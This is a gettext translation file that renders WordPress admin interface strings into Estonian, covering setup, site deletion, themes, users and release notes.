msgid "This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page."
msgstr "This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page."

#. Author of the plugin/theme
msgid "Matt Mullenweg"
msgstr "Matt Mullenweg"

#. Author URI of the plugin/theme
msgid "http://ma.tt/"
msgstr "http://ma.tt/"

#: wp-admin/includes/screen.php:1029
msgid "Show on screen"
msgstr "Näita ekraanil"

#: wp-admin/index.php:76
msgid "<strong>Welcome</strong> - Shows links for some of the most common tasks when setting up a new site."
msgstr "<strong>Tere tulemast</strong> – kuvab viiteid levinumatele tegevustele uue saidi seadistamisel."

#. translators: 1: user_login, 2: user_email
#: wp-admin/includes/ajax-actions.php:284
msgid "%1$s (%2$s)"
msgstr "%1$s (%2$s)"

#: wp-admin/includes/theme.php:154 wp-admin/includes/update.php:373
msgid "There is a new version of %1$s available. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>"
msgstr "%1$s uus versioon on saadaval. <a href=\"%2$s\" class=\"thickbox\" title=\"%1$s\">Vaata versiooni %3$s üksikasju</a> <em>Seda teemat ei saa automaatselt uuendada). </em>"

#. translators: default start of the week. 0 = Sunday, 1 = Monday
#: wp-admin/includes/schema.php:375
msgctxt "start of week"
msgid "1"
msgstr "1"

#. translators: 1: month number (01, 02, etc.), 2: month abbreviation
#: wp-admin/includes/template.php:742
msgid "%1$s-%2$s"
msgstr "%1$s-%2$s"

#: wp-admin/custom-header.php:576
msgid "Images should be at least <strong>%1$d pixels</strong> wide."
msgstr "Pildid peaksid olema vähemalt <strong>%1$d piksli</strong> laiused."

#: wp-admin/custom-header.php:585
msgid "Suggested height is <strong>%1$d pixels</strong>."
msgstr "Soovitav kõrgus on <strong>%1$d pikslit</strong>."

#: wp-admin/custom-header.php:579
msgid "Images should be at least <strong>%1$d pixels</strong> tall."
msgstr "Pildid peavad olema vähemalt <strong>%1$d piksli</strong> kõrgused."

#: wp-admin/install.php:215
msgctxt "Howdy"
msgid "Welcome"
msgstr ""

#: wp-admin/custom-header.php:583
msgid "Suggested width is <strong>%1$d pixels</strong>."
msgstr "Soovituslik laius on <strong>%1$d pikslit</strong>."

#: wp-admin/ms-delete-site.php:84
msgid "I'm sure I want to permanently disable my site, and I am aware I can never get it back or use %s again."
msgstr "Olen kindel, et soovin selle saidi jäädavalt välja lülitada ning mõistan, et seda toimingut ei saa tagasi võtta ja saiti %s uuesti kasutada."

#: wp-admin/ms-delete-site.php:85
msgid "Delete My Site Permanently"
msgstr "Kustuta minu sait jäädavalt"

#: wp-admin/ms-delete-site.php:71
msgid "Delete My Site"
msgstr "Kustuta minu sait"

#: wp-admin/ms-delete-site.php:79
msgid "Remember, once deleted your site cannot be restored."
msgstr "Pea meeles, kord kustutatud saiti ei saa taastada."

#: wp-admin/ms-delete-site.php:24
msgid "I'm sorry, the link you clicked is stale. Please select another option."
msgstr "Vabandust, see viide on aegunud. Palun vali mõni teine ​​variant."

#: wp-admin/ms-delete-site.php:22
msgid "Thank you for using %s, your site has been deleted. Happy trails to you until we meet again."
msgstr "Tänan, et kasutasid saiti %s, see on nüüd kustutatud. Parimat, kuniks kohtume taas."

#: wp-admin/ms-delete-site.php:78
msgid "If you do not want to use your %s site any more, you can delete it using the form below. When you click <strong>Delete My Site Permanently</strong> you will be sent an email with a link in it. Click on this link to delete your site."
msgstr "Kui sa ei soovi enam kasutada oma saiti %s, saad selle kustutada, kasutades allolevat vormi. Klõpsates <strong>\"Kustuta minu sait jäädavalt\"</strong>, saad e-kirjaga spetsiaalse kustutamise viite. Saidi kustutamiseks klõpsa e-kirja viitele."

#: wp-admin/ms-delete-site.php:17
msgid "You do not have sufficient permissions to delete this site."
msgstr "Sul ei ole piisavaid õigusi kustutamaks seda lehekülge."

#: wp-admin/ms-delete-site.php:74
msgid "Thank you. Please check your email for a link to confirm your action. Your site will not be deleted until this link is clicked. "
msgstr "Aitäh. Leia enda postkastis olevast e-kirjast kustutamise kinnitamise viide. Saiti ei kustutata kuni klõpsad saadetud linki."

#: wp-admin/ms-delete-site.php:45
msgid ""
"Dear User,\n"
"You recently clicked the 'Delete Site' link on your site and filled in a\n"
"form on that page.\n"
"If you really want to delete your site, click the link below. You will not\n"
"be asked to confirm again so only click this link if you are absolutely certain:\n"
"###URL_DELETE###\n"
"\n"
"If you delete your site, please consider opening a new site here\n"
"some time in the future! (But remember your current site and username\n"
"are gone forever.)\n"
"\n"
"Thanks for using the site,\n"
"Webmaster\n"
"###SITE_NAME###"
msgstr ""
"Hea kasutaja,\n"
"Sa klõpsasid hiljuti viidet 'Kustuta' oma saidil ja täitsid vastava vormi.\n"
"Kui tõesti soovid oma saidi kustutada, klõpsa allolevat viidet. Kinnitust enam\n"
"ei küsita, seega klõpsa seda linki ainult siis, kui oled täiesti kindel:\n"
"###URL_DELETE###\n"
"\n"
"Kui kustutad oma saidi, saad alati luua uue millalgi tulevikus. Aga palun\n"
"pea meeles, et Sinu praegune sait ja kasutajanimi on igaveseks läinud.\n"
"\n"
"Aitäh kasutamast,\n"
"Haldur\n"
"###SITE_NAME###"

#: wp-admin/includes/ms.php:34
msgid "This file is too big. Files must be less than %1$s KB in size."
msgstr "See fail on liiga suur. Failide suurus peab jääma alla %d KB."

#: wp-admin/includes/ms.php:36
msgid "You have used your space quota. Please delete files before uploading."
msgstr "Sulle eraldatud kettaruum on täis. Palun kustuta faile enne uute üleslaadimist."

#: wp-admin/includes/ms.php:261
msgid "[%s] New Admin Email Address"
msgstr "[%s] uus halduri e-postiaadress"

#: wp-admin/includes/ms.php:294
msgid ""
"Dear user,\n"
"\n"
"You recently requested to have the email address on your account changed.\n"
"If this is correct, please click on the following link to change it:\n"
"###ADMIN_URL###\n"
"\n"
"You can safely ignore and delete this email if you do not want to\n"
"take this action.\n"
"\n"
"This email has been sent to ###EMAIL###\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"Hea kasutaja,\n"
"\n"
"Hiljuti avaldati soovi muuta selle kasutajakonto meiliaadressi.\n"
"Kui soovid seda teha, klõpsa palun järgmisele lingile:\n"
"###ADMIN_URL###\n"
"\n"
"Võid ka vabalt eirata seda sõnumit, kui ei soovi oma e-posti\n"
"aadressi ###EMAIL### vahetada.\n"
"\n"
"Tervitades,\n"
"Meeskond @ ###SITENAME###\n"
"###SITEURL###"

#: wp-admin/includes/ms.php:338
msgid "Your email address has not been updated yet. Please check your inbox at %s for a confirmation email."
msgstr "Sinu e-posti aadressi ei vahetatud veel. Palun leia oma %s postkastist aadressi vahetamise kinnitamise meil."

#. translators: Gigabytes
#: wp-admin/includes/ms.php:383
msgid "GB"
msgstr "GB"

#. translators: Megabytes
#: wp-admin/includes/ms.php:387
msgid "MB"
msgstr "MB"

#: wp-admin/includes/ms.php:330
msgid "[%s] New Email Address"
msgstr "[%s] uus e-posti aadress"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:254
#: wp-admin/includes/class-wp-ms-themes-list-table.php:297
msgid "Network Disable"
msgstr "Keela võrgustikus"

#: wp-admin/includes/ms-deprecated.php:30
msgid "Sorry, you must delete files before you can upload any more."
msgstr "Vabandust, sa peaksid kustutama faile, enne kui saad uusi üles laadida."

#: wp-admin/includes/class-wp-ms-themes-list-table.php:217
msgid "Enabled <span class=\"count\">(%s)</span>"
msgid_plural "Enabled <span class=\"count\">(%s)</span>"
msgstr[0] "Paigaldatud <span class=\"count\">(%s)</span>"
msgstr[1] "Paigaldatud <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:193
msgid "Theme"
msgstr "Teema"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:185
msgid "You do not appear to have any themes available at this time."
msgstr "Hetkel pole saadaval ühtki teemat."

#: wp-admin/includes/class-wp-ms-themes-list-table.php:183
msgid "No themes found."
msgstr "Teemasid ei leitud."

#: wp-admin/includes/ms.php:540
msgid "Visit Dashboard"
msgstr "Töölaud"

#: wp-admin/includes/ms.php:534
msgid "Your Sites"
msgstr "Sinu saidid"

#: wp-admin/includes/ms.php:532
msgid "If you reached this screen by accident and meant to visit one of your own sites, here are some shortcuts to help you find your way."
msgstr "Kui sattusid siia lehele kogemata ning soovisid külastada mõnd oma saiti, siis siin on mõned viited, mis võiksid aidata."

#: wp-admin/includes/class-wp-ms-users-list-table.php:80
msgctxt "user"
msgid "Not Spam"
msgstr "Pole spämm"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:220
msgid "Disabled <span class=\"count\">(%s)</span>"
msgid_plural "Disabled <span class=\"count\">(%s)</span>"
msgstr[0] "Välja lülitatud <span class=\"count\">(%s)</span>"
msgstr[1] "Välja lülitatud <span class=\"count\">(%s)</span>"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:301
msgid "Open this theme in the Theme Editor"
msgstr "Ava teemaredaktoris"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:297
msgid "Disable this theme"
msgstr "Lülita see teema välja"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:295
msgid "Enable this theme"
msgstr "Luba teema"

#: wp-admin/includes/class-wp-ms-users-list-table.php:79
msgctxt "user"
msgid "Mark as Spam"
msgstr "Märgi spämmiks"

#: wp-admin/includes/ms.php:529 wp-admin/includes/ms.php:531
msgid "You attempted to access the \"%1$s\" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the \"%1$s\" dashboard, please contact your network administrator."
msgstr "Üritasid minna saidi \"%1$s\" töölauale, kuid sul puuduvad praegu selle saidi halduriõigused. Saamaks ligipääsu \"%1$s\" töölauale, pöördu palun võrgustiku halduri poole."

#: wp-admin/includes/ms.php:425
msgid "MB (Leave blank for network default)"
msgstr "MB (jäta tühjaks, kasutamaks võrgustiku vaikimisi seadet)"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:390
msgid "Visit theme homepage"
msgstr "Mine teema kodulehele"

#: wp-admin/includes/ms.php:572
msgid "British English"
msgstr "Briti inglise keel"

#: wp-admin/includes/ms.php:541
msgid "View Site"
msgstr "Vaata saiti"

#: wp-admin/includes/class-wp-ms-users-list-table.php:100
msgid "Super Admin <span class=\"count\">(%s)</span>"
msgid_plural "Super Admins <span class=\"count\">(%s)</span>"
msgstr[0] "Peahaldur <span class=\"count\">(%s)</span>"
msgstr[1] "Peahaldurid <span class=\"count\">(%s)</span>"

#: wp-admin/includes/ms.php:568
msgid "American English"
msgstr "Ameerika inglise keel"

#. translators: My sites label
#: wp-admin/includes/ms.php:637
msgid "Primary Site"
msgstr "Peasait"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:390
msgid "Visit Theme Site"
msgstr "Külasta teema veebi"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:304
msgid "Delete this theme"
msgstr "Kustuta teema"

#: wp-admin/includes/ms.php:424
msgid "Site Upload Space Quota "
msgstr "Saidi kettamaht"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:254
#: wp-admin/includes/class-wp-ms-themes-list-table.php:297
msgid "Disable"
msgstr "Lülita välja"

#: wp-admin/includes/ms.php:32
msgid "Not enough space to upload. %1$s KB needed."
msgstr "Üleslaadimiseks ei jätku ruumi. Vaja on %1$s KB."

#: wp-admin/includes/ms.php:582
msgid "English"
msgstr "Inglise keel"

#: wp-admin/my-sites.php:63
msgid "You must be a member of at least one site to use this page."
msgstr "Selle vaate kasutamiseks pead olema vähemalt ühe saidi registreeritud kasutaja."

#: wp-admin/my-sites.php:94
msgid "Global Settings"
msgstr "Ühised seaded"

#: wp-admin/my-sites.php:48
msgid "<a href=\"http://codex.wordpress.org/Dashboard_My_Sites_Screen\" target=\"_blank\">Documentation on My Sites</a>"
msgstr "<a href=\"http://codex.wordpress.org/Dashboard_My_Sites_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/my-sites.php:16
msgid "You do not have sufficient permissions to view this page."
msgstr "Sul pole selle lehe vaatamiseks piisavaid õigusi."

#: wp-admin/my-sites.php:31
msgid "The primary site you chose does not exist."
msgstr "Sinu valitud peasaiti ei leitud."

#: wp-admin/my-sites.php:43
msgid "Up until WordPress version 3.0, what is now called a Multisite Network had to be installed separately as WordPress MU (multi-user)."
msgstr "Varem, kuni WordPressi versioonini 3.0, tuli praegune saitide võrgustiku tugi paigaldada eraldi kui WordPress MU (multi-user)."

#: wp-admin/setup-config.php:49
msgid "Sorry, I need a wp-config-sample.php file to work from. Please re-upload this file from your WordPress installation."
msgstr "Vabandust, vajan tööks wp-config-sample.php faili. Palun laadi see fail uuesti üles."

#: wp-admin/setup-config.php:53
msgid "The file 'wp-config.php' already exists. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href='%s'>installing now</a>."
msgstr "Fail 'wp-config.php' on juba olemas. Kui sul on vaja lähtestada mõni selle seade, palun kustuta see. Võid proovida <a href='%s'>paigaldada kohe</a>."

#: wp-admin/setup-config.php:57
msgid "The file 'wp-config.php' already exists one level above your WordPress installation. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href='install.php'>installing now</a>."
msgstr "Fail 'wp-config.php' on juba sinu WordPressi saidi ülemkaustas olemas. Kui soovid lähtestada mõne häälestuse seade, palun kustuta enne see olemasolev häälestusfail. Proovi <a href='install.php'>paigaldada</a>."

#: wp-admin/setup-config.php:82
msgid "WordPress &rsaquo; Setup Configuration File"
msgstr "WordPress &rsaquo; Paigalduse seadetefail"

#: wp-admin/setup-config.php:128
msgid "Welcome to WordPress. Before getting started, we need some information on the database. You will need to know the following items before proceeding."
msgstr "Tere tulemast WordPressi. Enne kui alustame, vajan teavet andmebaasi kohta. Sul peaks olema käepärast järgmine info."

#: wp-admin/setup-config.php:130
msgid "Database name"
msgstr "Andmebaasi nimi"

#: wp-admin/setup-config.php:131
msgid "Database username"
msgstr "Andmebaasi kasutajanimi"

#: wp-admin/setup-config.php:132
msgid "Database password"
msgstr "Andmebaasi parool"

#: wp-admin/setup-config.php:133
msgid "Database host"
msgstr "Andmebaasiserver"

#: wp-admin/setup-config.php:134
msgid "Table prefix (if you want to run more than one WordPress in a single database)"
msgstr "Tabeli eesliide (kui soovid käitada enam kui üht WordPressi samas andmebaasis)"

#: wp-admin/setup-config.php:143
msgid "Let&#8217;s go!"
msgstr "Las käia!"

#: wp-admin/setup-config.php:157
msgid "Database Name"
msgstr "Andmebaasi nimi"

#: wp-admin/setup-config.php:159
msgid "The name of the database you want to run WP in."
msgstr "WP jaoks kasutatava andmebaasi nimi."

#: wp-admin/setup-config.php:163
msgctxt "example username"
msgid "username"
msgstr "kasutaja"

#: wp-admin/setup-config.php:164
msgid "Your MySQL username"
msgstr "Sinu MySQL kasutajanimi"

#: wp-admin/setup-config.php:168
msgctxt "example password"
msgid "password"
msgstr "parool"

#: wp-admin/setup-config.php:169
msgid "&hellip;and your MySQL password."
msgstr "&hellip;ja MySQL-i salasõna."

#: wp-admin/setup-config.php:172
msgid "Database Host"
msgstr "Andmebaasiserver"

#: wp-admin/setup-config.php:174
msgid "You should be able to get this info from your web host, if <code>localhost</code> does not work."
msgstr "Kui <code>localhost</code> ei toimi, saad vajaliku info oma veebimajutuse pakkujalt."

#: wp-admin/setup-config.php:177
msgid "Table Prefix"
msgstr "Tabeli prefiks"

#: wp-admin/setup-config.php:179
msgid "If you want to run multiple WordPress installations in a single database, change this."
msgstr "Kui soovid installeerida mitu WordPressi ühte andmebaasi, siis muuda seda."

#: wp-admin/setup-config.php:301
msgid "You can create the <code>wp-config.php</code> manually and paste the following text into it."
msgstr "Saad luua <code>wp-config.php</code> käsitsi ja kopeerida-kleepida sinna järgneva teksti."

#: wp-admin/setup-config.php:308 wp-admin/setup-config.php:337
msgid "Run the install"
msgstr "Käivita paigaldus!"

#: wp-admin/maint/repair.php:30
msgid "To allow use of this page to automatically repair database problems, please add the following line to your <code>wp-config.php</code> file. Once this line is added to your config, reload this page."
msgstr ""
"Lubamaks sellel lehel automaatselt parandada probleeme andmebaasis, lisa järgmine rida enda\n"
"<code>wp-config.php</code> faili. Kui oled rea lisanud, laadi lehekülg uuesti."

#: wp-admin/includes/class-wp-comments-list-table.php:156
msgid "No comments awaiting moderation."
msgstr "Ühtki kommentaari pole modereerimisjärjekorras."

#: wp-admin/includes/plugin-install.php:354
msgctxt "Plugin installer section title"
msgid "Changelog"
msgstr "Muudatused"

#: wp-admin/includes/plugin-install.php:356
msgctxt "Plugin installer section title"
msgid "Other Notes"
msgstr "Märkused"

#: wp-admin/includes/plugin-install.php:352
msgctxt "Plugin installer section title"
msgid "FAQ"
msgstr "KKK"

#: wp-admin/includes/plugin-install.php:351
msgctxt "Plugin installer section title"
msgid "Installation"
msgstr "Paigaldamine"

#: wp-admin/includes/plugin-install.php:350
msgctxt "Plugin installer section title"
msgid "Description"
msgstr "Kirjeldus"

#: wp-admin/includes/plugin-install.php:353
msgctxt "Plugin installer section title"
msgid "Screenshots"
msgstr "Ekraanipildid"

#. translators: %s is a placeholder that must come at the start of the URL
#. path.
#: wp-admin/options-permalink.php:244
msgid "If you like, you may enter custom structures for your category and tag <abbr title=\"Universal Resource Locator\">URL</abbr>s here. For example, using <code>topics</code> as your category base would make your category links like <code>http://example.org/%stopics/uncategorized/</code>. If you leave these blank the defaults will be used."
msgstr "Soovi korral saad siin määrata rubriikide ja siltide <abbr title=\"Universal Resource Locator\">URL</abbr>-idele alusväärtused. Näiteks alus <code>topics</code> annab rubriikide viideteks <code>http://example.org/%stopics/uncategorized/</code>. Kui jätad need tühjaks, kasutatakse vaikimisi väärtusi."

#: wp-admin/options-permalink.php:157
msgid "You should update your web.config now."
msgstr "Peaksid nüüd uuendama enda web.config-faili"

#: wp-admin/includes/meta-boxes.php:803
msgid ""
"You are about to delete this link '%s'\n"
" 'Cancel' to stop, 'OK' to delete."
msgstr ""
"Oled kustutamas viidet '%s'. \n"
"Kustutamiseks vali 'Olgu', tühistamiseks 'Tühista'."

#: wp-admin/includes/plugin-install.php:445
msgid "Plugin Homepage &#187;"
msgstr "Plugina koduleht  &#187;"

#: wp-admin/export.php:49
msgid "You can export a file of your site&#8217;s content in order to import it into another installation or platform. The export file will be an XML file format called WXR. Posts, pages, comments, custom fields, categories, and tags can be included. You can choose for the WXR file to include only certain posts or pages by setting the dropdown filters to limit the export by category, author, date range by month, or publishing status."
msgstr "Oma veebilehe sisu saad eksportida, et kasutada seda mõnes teises paigalduses või platvormil. Eksportimisel kasutatakse XML-ipõhist WXR-vormingut, mis võib sisaldada postitusi, lehti, kommentaari, lisavälju, rubriike ja silte. WXR võimaldab kasutada ka filtreid kuupäeva, autori, rubriigi, sildi või oleku järgi, samuti eksportida kas üksnes postitusi või lehti."

#. translators: 1: table name, 2: error message,
#: wp-admin/maint/repair.php:73
msgid "Failed to repair the %1$s table. Error: %2$s"
msgstr "Tabeli %1$s parandamine ebaõnnestus. Veateade: %2$s"

#: wp-admin/options-general.php:211
msgid "Standard time begins on: <code>%s</code>."
msgstr "Talveaja algus: <code>%s</code>"

#: wp-admin/user-new.php:155
msgid "New users will receive an email letting them know they&#8217;ve been added as a user for your site. This email will also contain their password. Check the box if you don&#8217;t want the user to receive a welcome email."
msgstr "Uuetele kasutajatele saadetakse meil, milles teavitatakse, et nad on lisatud sinu lehekülje kasutajaks. Meilis on ka parool. Tee linnuke, kui sa ei soovi saata kasutajatele tervitusmeili."

#: wp-admin/plugins.php:379
msgid "The plugin generated %d characters of <strong>unexpected output</strong> during activation. If you notice &#8220;headers already sent&#8221; messages, problems with syndication feeds or other issues, try deactivating or removing this plugin."
msgstr "Plugin tekitas käivitamisel %d tähemärki <strong>ootamatut väljundinfot</strong>. Kui tekib veateateid, uudisevoogude tõrkeid või muid probleeme, proovi see plugin välja lülitada või eemaldada."

#: wp-admin/includes/theme.php:147
msgid "Updating this theme will lose any customizations you have made. 'Cancel' to stop, 'OK' to update."
msgstr "Selle teema uuendamine kaotab ära kõik eelnevad muudatused. Tühistamiseks klõpsa 'Tühista', uuendamiseks 'Olgu'."

#: wp-admin/users.php:36
msgid "You can filter the list of users by User Role using the text links in the upper left to show All, Administrator, Editor, Author, Contributor, or Subscriber. The default view is to show all users. Unused User Roles are not listed."
msgstr "Kasutajate nimekirja saad filtreerida nende rolli järgi, kasutades vastavaid tekstiviiteid vasakul ülal (Kõik, haldurid, toimetajad, autorid, kaastöölised või lugejad). Vaikimisi näidatakse kõiki kasutajaid. Rolle, milles pole ühtki kasutajat, ei näidata."

#: wp-admin/update-core.php:46
msgid "You are using a development version of WordPress. You can update to the latest nightly build automatically or download the nightly build and install it manually:"
msgstr "Sa kasutad WordPressi arendusversiooni.  Sul on võimalik nii uuendada automaatselt viimase väljalaske (nightly build) peale kui ka laadida see alla ja paigaldada käsitsi."

#: wp-admin/options-writing.php:36
msgid "Post via email settings allow you to send your WordPress install an email with the content of your post. You must set up a secret e-mail account with POP3 access to use this, and any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret."
msgstr "E-posti kaudu WordPressi postitamiseks tuleb seada üles salajane POP3 e-postikonto. Kõik sinna saadetud kirjad lähevad postitusteks, seega on mõistlik hoida seda hästi salajas. "

#: wp-admin/includes/image-edit.php:192
msgid "There are unsaved changes that will be lost. 'OK' to continue, 'Cancel' to return to the Image Editor."
msgstr "Osa muudatusi on salvestamata ja lähevad kaduma. Jätkamiseks vali 'Olgu', redaktorisse jäämiseks 'Tühista'."

#: wp-admin/import.php:23
msgid "In previous versions of WordPress, all importers were built-in. They have been turned into plugins since most people only use them once or infrequently."
msgstr "Eelmistes WordPressi versioonides olid kõik importijad süsteemi sisse ehitatud. Nüüd on nad muudetud pluginateks, kuna enamik kasutajaid kasutab neid vaid korra või paar."

#: wp-admin/themes.php:127
msgid "The active theme is broken. Reverting to the default theme."
msgstr "Aktiivne teema on katkine. Lähen tagasi vaikimisi teemale."

#: wp-admin/custom-header.php:797 wp-admin/custom-header.php:921
#: wp-admin/custom-header.php:1233
msgid "Image could not be processed. Please go back and try again."
msgstr "Pilti ei saa töödelda. Palun mine tagasi ja proovi uuesti."

#. translators: 1: table name, 2: error message,
#: wp-admin/maint/repair.php:63
msgid "The %1$s table is not okay. It is reporting the following error: %2$s. WordPress will attempt to repair this table&hellip;"
msgstr "Tabel %1$s ei ole korras, veateade on järgmine: %2$s. WordPress üritab seda nüüd parandada&hellip;"

#: wp-admin/edit-form-advanced.php:132
msgid "There is an autosave of this post that is more recent than the version below. <a href=\"%s\">View the autosave</a>"
msgstr "Sellest postitusest on olemas automaatsalvestus, mis on uuem kui allolev versioon.  <a href=\"%s\">Vaata automaatsalvestust</a>."

#: wp-admin/maint/repair.php:109
msgid "Repairs complete. Please remove the following line from wp-config.php to prevent this page from being used by unauthorized users."
msgstr "Parandamine lõpetatud. Palun eemalda wp-config.php -failist alljärgnev rida (vältimaks selle lubamatut ärakasutamist)."

#: wp-admin/maint/repair.php:115
msgid "WordPress can automatically look for some common database problems and repair them. Repairing can take a while, so please be patient."
msgstr "WordPress suudab automaatselt tuvastada mõned levinud andmebaasiprobleemid ja need lahendada. Parandamine võib võtta veidi aega."

#: wp-admin/maint/repair.php:118
msgid "WordPress can also attempt to optimize the database. This improves performance in some situations. Repairing and optimizing the database can take a long time and the database will be locked while optimizing."
msgstr "WordPress võib ka proovida andmebaasi optimeerida. See võib vahel tööjõudlust parandada. Andmebaasi parandamine ja optimeerimine võib võtta üsna pikalt aega ning selle ajal on baas lukustatud."

#: wp-admin/user-new.php:279
msgid "Enter the email address or username of an existing user on this network to invite them to this site. That person will be sent an email asking them to confirm the invite."
msgstr "Mõne selle võrgustiku olemasoleva kasutaja kutsumiseks sellele veebisaidile sisesta tema e-postiaadress või kasutajanimi. Talle saadetakse kiri ja palutakse kutse kinnitada."

#: wp-admin/options-discussion.php:173
msgid "An avatar is an image that follows you from weblog to weblog appearing beside your name when you comment on avatar enabled sites. Here you can enable the display of avatars for people who comment on your site."
msgstr "Avatar on pilt, mida näidatakse kommentaari juures ja mis liigub sinuga kaasa ühest ajaveebist teise, kui need toetavad avatare. Siin saad kommenteerijate avatare sisse lülitada."

#: wp-admin/plugin-editor.php:252
msgid "<strong>Warning:</strong> Making changes to active plugins is not recommended. If your changes cause a fatal error, the plugin will be automatically deactivated."
msgstr "<strong>Hoiatus:</strong> aktiivsete pluginate muutmine pole soovitav. Kui muutmised tekitavad tõsise vea, lülitatakse plugin automaatselt välja."

#: wp-admin/user-new.php:275
msgid "Enter the email address of an existing user on this network to invite them to this site. That person will be sent an email asking them to confirm the invite."
msgstr "Selle võrgustiku mõne olemasoleva kasutaja kutsumiseks sellele veebisaidile sisesta tema e-postiaadress. Talle saadetakse kiri ja palutakse kutse kinnitada."

#: wp-admin/credits.php:179
msgid "Contributing Developers"
msgstr "Kaastöölised"

#: wp-admin/user-edit.php:278
msgid "Show Toolbar when viewing site"
msgstr "Näita esilehel tööriistariba"

#. translators: 1: WordPress version number, 2: plural number of bugs. Singular
#. security issue.
#: wp-admin/about.php:194
msgid "<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug."
msgid_plural "<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs."
msgstr[0] "<strong>Versioon %1$s</strong> parandas turvavea ning %2$s bugi."
msgstr[1] "<strong>Versioon %1$s</strong> parandas turvavea ning %2$s bugi."

#: wp-admin/about.php:48 wp-admin/about.php:201
msgid "For more information, see <a href=\"%s\">the release notes</a>."
msgstr "Lisainfot leiad <a href=\"%s\">väljalaskemärkmetest</a>."

#. translators: 1: WordPress version number, 2: plural number of bugs. More
#. than one security issue.
#: wp-admin/about.php:46 wp-admin/about.php:198
msgid "<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug."
msgid_plural "<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs."
msgstr[0] "<strong>Versioon %1$s</strong> tõstis turvalisust ning parandas %2$s vea."
msgstr[1] "<strong>Versioon %1$s</strong> tõstis turvalisust ning parandas %2$s viga."

#. translators: 1: WordPress version number, 2: plural number of bugs.
#: wp-admin/about.php:190
msgid "<strong>Version %1$s</strong> addressed %2$s bug."
msgid_plural "<strong>Version %1$s</strong> addressed %2$s bugs."
msgstr[0] "<strong>Versioon %1$s</strong> parandas %2$s vea."
msgstr[1] "<strong>Versioon %1$s</strong> parandas %2$s viga."

#: wp-admin/index.php:32
msgid "Welcome to your WordPress Dashboard! This is the screen you will see when you log in to your site, and gives you access to all the site management features of WordPress. You can get help for any screen by clicking the Help tab in the upper corner."
msgstr "Tere tulemast WordPressi töölauale - siia satud enda veebilehele sisse logides ning siit saad seda hallata.  Abiteave on kättesaadav ekraani ülanurgas asuvast Abiinfost."

#: wp-admin/about.php:45 wp-admin/about.php:183
msgid "Maintenance and Security Release"
msgid_plural "Maintenance and Security Releases"
msgstr[0] "Hooldus- ja turvauuendus."
msgstr[1] "Hooldus- ja turvauuendused."

#: wp-admin/about.php:36 wp-admin/credits.php:91 wp-admin/freedoms.php:28
msgid "What&#8217;s New"
msgstr "Uued asjad"

#: wp-admin/about.php:182
msgid "Security Release"
msgid_plural "Security Releases"
msgstr[0] "Turvaparanduste väljaanne"
msgstr[1] "Turvaparanduste väljaanded"

#: wp-admin/about.php:181
msgid "Maintenance Release"
msgid_plural "Maintenance Releases"
msgstr[0] "Hooldusversioon"
msgstr[1] "Hooldusversioonid"

#. translators: 1: WordPress version number.
#: wp-admin/about.php:186
msgid "<strong>Version %1$s</strong> addressed a security issue."
msgid_plural "<strong>Version %1$s</strong> addressed some security issues."
msgstr[0] "<strong>Versioon %1$s</strong> parandas turvaaugu."
msgstr[1] "<strong>Versioon %1$s</strong> parandas mõned turvaaugud."

#: wp-admin/options-permalink.php:22
msgid "This screen allows you to choose your default permalink structure. You can choose from common settings or create custom URL structures."
msgstr "Siit saad muuta püsiviidete struktuuri. Võid valida mõne levinud skeemi või luua enda oma."

#: wp-admin/about.php:164
msgid "Return to Updates"
msgstr "Tagasi uuenduste juurde"

#: wp-admin/includes/update-core.php:1139 wp-admin/update-core.php:422
msgid "Welcome to WordPress %1$s. <a href=\"%2$s\">Learn more</a>."
msgstr "Tere tulemast WordPressi versiooni %1$s. <a href=\"%2$s\">Loe lähemalt</a>."

#: wp-admin/edit-tags.php:223
msgid "Adding Categories"
msgstr "Rubriikide lisamine"

#: wp-admin/edit-tags.php:223
msgid "Adding Tags"
msgstr "Siltide lisamine"

#: wp-admin/plugins.php:351
msgid "Troubleshooting"
msgstr "Veaotsing"

#: wp-admin/media-new.php:47
msgid "You can upload media files here without creating a post first. This allows you to upload files to use with posts and pages later and/or to get a web link for a particular file that you can share. There are three options for uploading files:"
msgstr "Siia võid laadida üles meediafaile ka ilma eelnevalt postitust loomata. Nii saad laadida  postituste jaoks vajaminevaid faile üles ka hiljem ja/või lisada veebiviite failile, mida soovid jagada. Failide üleslaadimiseks on kolm võimalust: "

#: wp-admin/user-new.php:157
msgid "You must assign a password to the new user, which they can change after logging in. The username, however, cannot be changed."
msgstr "Sa pead määrama uuele kasutajale parooli, mille nad aga võivad esimesel sisselogimisel ise ära muuta. Kasutajanime aga muuta ei saa."

#: wp-admin/tools.php:60
msgid "If you want to convert your categories to tags (or vice versa), use the <a href=\"%s\">Categories and Tags Converter</a> available from the Import screen."
msgstr "Kui soovid teisendada rubriike siltideks või vastupidi, kasuta selleks <a href=\"%s\">teisendajat</a>, mille leiad impordivalikutest."

#: wp-admin/user-new.php:161
